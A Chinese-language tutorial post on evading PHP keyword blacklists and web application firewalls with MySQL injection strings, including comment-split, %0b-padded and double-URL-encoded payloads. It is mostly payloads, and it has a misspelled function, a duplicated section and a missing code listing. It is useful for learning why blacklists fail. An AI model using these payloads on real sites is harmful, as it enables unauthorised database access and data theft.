Py学习  »  DATABASE

PHP+Mysql注入防护与绕过

信安之路 • 6 年前 • 826 次点击  

今天给大家分享一个关于php常见的注入防护以及如何bypass的文章,文章内容来源国外某大佬总结,我做了一下整理,文章来源地址不详,下面正文开始。以下的方式也仅仅是针对黑名单的过滤有一定的效果,为了安全最好还是以白名单的方式对参数进行检测。

黑名单关键字过滤与绕过


过滤关键字and、or

PHP匹配函数代码如下:

preg_match('/(and|or)/i', $id)

如何Bypass,过滤注入测试语句:

1 or 1 = 1                1 and 1 = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1                1 && 1 = 1

过滤关键字and, or, union

PHP匹配函数代码如下:

preg_match('/(and|or|union)/i', $id)

如何Bypass,过滤注入测试语句:

union select user, password from users

测试方法可以替换为如下语句测试:

1 || (select user from users where user_id = 1) = 'admin'

过滤关键字and, or, union,where

PHP匹配函数代码如下:

preg_match('/(and|or|union|where)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users where user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users limit 1) = 'admin'

过滤关键字and, or, union,where,limit

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users limit 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

过滤关键字and, or, union,where,limit,group by

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select user from users group by user_id having user_id = 1) = 'admin'

测试方法可以替换为如下语句测试:

1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1

过滤关键字and, or, union,where,limit,group by,select

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || 1 = 1 into outfile 'result.txt'

1 || substr(user,1,1) = 'a'

过滤关键字and, or, union,where,limit,group by,select,'

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

如何Bypass,过滤注入测试语句:

1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

测试方法可以替换为如下语句测试:

1 || user_id is not null

1 || substr(user,1,1) = 0x61

1 || substr(user,1,1) = unhex(61)

过滤关键字and, or, union,where,limit,group by,select,',hex

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = unhex(61)

测试方法可以替换为如下语句测试:

1 || substr(user,1,1) = lower(conv(11,10,36))

过滤关键字and, or, union,where,limit,group by,select,',hex,substr

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)

如何Bypass,过滤注入测试语句:

1 || substr(user,1,1) = lower(conv(11,10,36))

测试方法可以替换为如下语句测试:

1 || lpad(user,7,1)

过滤关键字and, or, union,where,limit,group by,select,',hex, substr, white space

PHP匹配函数代码如下:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

如何Bypass,过滤注入测试语句:

1 || lpad(user,7,1)

测试方法可以替换为如下语句测试:

1%0b||%0blpad(user,7,1)

部分WAF绕过技巧


1、绕过部分WAF

/news.php?id=1+un/**/ion+se/\**/lect+1,2,3--

2、匹配正则如下:

/union\sselect/g

绕过方式:

/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

3、过滤一次关键字

/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

4、关键字被过滤,有的时候可以用%0b插入关键字绕过

/news.php?id=1+uni%0bon+se%0blect+1,2,3--

5、对于Mod_rewrite的作用使得/**/不起作用时可以使用%0b代替

替换前:

/main/news/id/1//||/ /lpad(first_name,7,1).html

替换后:

/main/news/id/1%0b||%0blpad(first_name,7,1).html

6、大多数的CMS和WAF会对用户输入进行解码然后过滤,但有些只解码一次,我们可以对payload进行多次编码然后测试

/news.php?id=1%252f%252a*/union%252f%252a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

真实的例子


NukeSentinel

Nukesentinel.php的代码如下:

针对上面的防护,使用如下测试语句将被拦截:

/php-nuke/?/**/union/**/select…

可以使用如下语句代替:

/php-nuke/?/%2A%2A/union/%2A%2A/select…

/php-nuke/?%2f**%2funion%2f**%2fselect…

总结


以上内容非我原创内容,针对这一块的内容我并没有很强的话语权,所以大家看到有任何错误,欢迎大家给我反馈,能从中学到一点东西最好,学不到也没关系。如果在此基础上大家有更好的见解,欢迎大家总结整理为我们的知识库舔砖加瓦,共同学习共同进步,最后还是希望大家能给我投稿一点文章,一起交流就当交个朋友,欢迎打扰。


今天看啥 - 高品质阅读平台
本文地址:http://www.jintiankansha.me/t/wEBIGbVe0s
Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/3796
 
826 次点击